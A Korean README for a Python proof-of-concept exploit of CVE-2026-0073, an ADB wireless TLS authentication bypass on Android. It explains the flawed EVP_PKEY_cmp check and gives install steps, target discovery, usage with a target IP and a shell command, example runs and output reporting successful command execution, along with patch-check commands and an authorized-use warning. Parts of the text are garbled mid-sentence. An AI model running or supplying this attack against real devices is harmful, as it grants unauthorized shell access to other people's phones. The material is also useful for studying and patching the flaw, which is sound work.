
CVE-2026-0073 - ADB 무선 상호 인증 우회 PoC
이 디렉토리에는 CVE-2026-0073에 대한 Python 개념 증명(PoC)이 포함되어 있습니다.
이 스크립트는 AI 지원 코드 생성 기법을 사용하여 생성되었습니다.
CVE-2026-0073은 ADB 데몬 인증서 검증(auth.cpp의 adbd_tls_verify_cert)에서 발생하는 로직 결함입니다.
취약한 검증 코드는 EVP_PKEY_cmp(...)의 0이 아닌 반환 값을 모두 일치로 처리합니다.
예상되는 비교 결과 처리 방식은 다음과 같아야 합니다:
1 = 키 일치0 = 키 불일치취약한 빌드에서는 음수 값이 참으로 처리되어 인증서가 잘못 승인될 수 있습니다.
poc-cve-2026-0073.py의 동작 방식이 스크립트는 다음을 수행합니다:
ec 또는 ed25519)를 생성합니다.shell: 및 exec: 대체)를 엽니다.cryptography 패키지의존성 설치:
pip install cryptography
대상 ADB 서비스 검색(필요한 경우):
adb mdns services
PoC 실행:
python3 poc-cve-2026-0073.py <target_ip> [port] [command] [key_type] [--verbose]
인자:
target_ip: 대상 Android 기기 IP 주소port: ADB 포트 (기본값: 5555)command: 실행할 명령 (기본값: id)key_type: ec 또는 ed25519 (기본값: ec)--verbose: 프로토콜 디버그 로그 활성화예시:
python3 poc-cve-2026-0073.py 192.168.1.100 5555 id
python3 poc-cve-2026-0073.py 192.168.1.100 5555 whoami ec --verbose
python3 poc-cve-2026-0073.py 192.168.1.100 5555 getprop ed25519
[*] Opening service: 'shell:id'
[*] After OPEN, received: OKAY arg0=2 data=b''
[+] Stream open (local_id=1, remote_id=2)
[+] Command output:
----------------------------------------
uid=2000(shell) gid=2000(shell) ...
----------------------------------------
[+] Exploitation successful.
Connection refused
certificate_unknown
응답 대기 시간 초과
--verbose로 다시 시도하십시오.기본 OS 보안 패치 수준과 Mainline 모듈 패치 시점은 다를 수 있습니다. 기기가 최신 월간 SPL을 표시하면서도 최신 ADB 모듈 수정 사항이 적용된 상태일 수 있습니다.
유용한 확인 명령:
adb shell getprop ro.build.version.security_patch
adb shell pm list packages --apex-only | grep adbd
adb shell dumpsys package com.google.android.adbd | grep -E "versionCode|versionName|lastUpdateTime"
이 PoC는 승인된 환경(소유한 실험실 기기, 명시적 허가, 또는 공인된 테스트)에서만 사용하십시오. 소유하지 않거나 서면 승인을 받지 않은 시스템에 대해 실행하지 마십시오.
daemon/auth.cpp)